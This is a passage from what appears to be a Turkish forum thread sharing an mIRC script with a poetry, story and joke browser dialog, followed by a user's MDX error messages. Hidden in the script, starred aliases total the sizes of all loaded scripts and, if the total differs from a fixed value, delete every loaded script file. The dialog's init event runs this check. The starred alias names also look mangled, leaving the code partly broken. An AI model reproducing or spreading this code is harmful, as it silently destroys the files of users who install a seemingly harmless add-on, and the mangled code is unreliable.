Çevrimdışı

ZenqerDenq Nickli Üyeden Alıntı Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.

.timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read şu kısımdaki $mircdir i silermisin sadece siir.txt olarak kalsın menu menubar { - » Siir Txt:/dialog -m sanat sanat - } alias sanat { if $1 { set %sanat $1 } _dialog sanat } alias ***** { var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f } } alias ** { if $*tsc != 165386 { ***** } } dialog sanat { title "mIRC; Şiirler, Hikayeler, Komik Sözler, Özdeyişler" size -1 -1 438 301 option pixels button "Kapat", 3, 2 270 76 24, cancel list 1, 3 9 156 214, size extsel tab "Tab 1", 5, -50 -50 600 400 edit "", 2, 161 9 275 214, tab 5 read multi return autovs vsbar combo 4, 3 226 155 85, tab 5 size drop edit "", 6, 251 228 100 21, tab 5 button "Gönder", 7, 360 226 76 24, tab 5 text "Rumuz/#kanal:", 8, 174 232 72 16, tab 5 text "* Seçtiğiniz eseri bir kanala veya rumuza göndermek isterseniz üstteki boşluğa gönderilecek rumuzu veya #kanal adını yazın ve gönder butonuna tıklayın.", 9, 183 255 252 44, tab 5 tab "Tab 2", 12 box "Quit ve Part Mesajları Düzenleme", 13, 171 3 336 282, tab 12 combo 14, 177 33 239 241, tab 12 size hsbar vsbar button "Ekle", 15, 425 32 76 24, tab 12 button "Çıkar", 16, 425 65 76 24, tab 12 } alias ***** { var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f } } alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r } on *:dialog:sanat:*:*: { if $devent == init { mdxinit mdx SetControlMDX $dname 1 Treeview fullrowselect singleexpand nohscroll > $views mdx SetColor $dname 2 text $rgb(0,0,0) mdx SetColor $dname 2 background $rgb(255,255,255) mdx SetColor $dname 2 textbg $rgb(255,255,255) mdx SetColor $dname 2 text $rgb(255,255,255) mdx SetColor $dname 2 textbg $rgb(255,55,155) mdx SetColor $dname 2 background $rgb(255,55,155) kalin 1,2 12 did -i $dname 1 1 setcolor text $rgb(255,255,255) did -i $dname 1 1 setcolor line $rgb(186,218,7) did -i $dname 1 1 setcolor bkg $rgb(113,113,255) didtok $dname 4 44 Şiirler,Hikayeler,Komik sözler,Özdeyişler did -c $dname 4 1 did -a $dname 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir. if %sanat { did -a $dname 6 $ifmatch } else { if $active ischan || $query($active) { did -a $dname 6 $ifmatch } } sanat.yukle did -f $dname 6 ** } if $devent == sclick { if $did == 1 && slclick select * iswm $did($did,1) { set %sanat.y $right($gettok($did($dname,1,$gettok($did($did,1),4-,32)),-1,48),-1) if $did(sanat,4).sel == 1 { set %sanat.dosya siir } if $did(sanat,4).sel == 2 { set %sanat.dosya hikaye } if $did(sanat,4).sel == 3 { set %sanat.dosya komik } if $did(sanat,4).sel == 4 { set %sanat.dosya ozdeyis } if $exists($shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))) { .loadbuf 0 -oipr $dname 2 $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) } } if $did == 4 { sanat.yukle } if $did == 7 { if %sanat.dosya && %sanat.y { if $did($dname,6) { var %im $did($dname,6) if %im !ischan && !$query(%im) { query %im } scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000 _bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor... } else { var %im $$?"Göndermek istediğiniz rumuz veya #kanal ismini giriniz:" if %im { did -a $dname 6 %im if %im !ischan && !$query(%im) { query %im } scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000 _bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor... } } } else { _bilgi Göndermek istediğiniz şiiri/hikayeyi/komik sözü/özdeyişi belirtmediniz. } } } if $devent == close { unset %sanat* } } ; Zekice bir kodlama değil mi, sigaramı söndürürken yazıyorum =) alias sanat.yukle { did -r sanat 1,2 did -a sanat 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir. if $did(sanat,4).sel == 1 { set %sanat.dosya siir } if $did(sanat,4).sel == 2 { set %sanat.dosya hikaye } if $did(sanat,4).sel == 3 { set %sanat.dosya komik } if $did(sanat,4).sel == 4 { set %sanat.dosya ozdeyis } var %i 1 while %i <= $findfile($+(texts\,%sanat.dosya),*.txt,0) { did -a sanat 1 $left($nopath($findfile($+(texts\,%sanat.dosya),*.txt,%i)),-4) inc %i 1 } } alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r } alias ** { if $*tsc != 165386 { ***** } } [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] Linkte vermiş olduğum Text Rar dan cıkartıp script in ana dizine at içersinde şiirler özdeyişler vs diye ayrı ayrı klasörler var şiirleri siir klasörüne ata bilirsin.. Not Dialog Kodlaması bana ait değildir Taxi mirc den alıntıdır. Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.

4***12 MDXINIT Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 KALIN Yalnış komut.

Yanlış bişe yaptım ki açınca bu hataları veriyor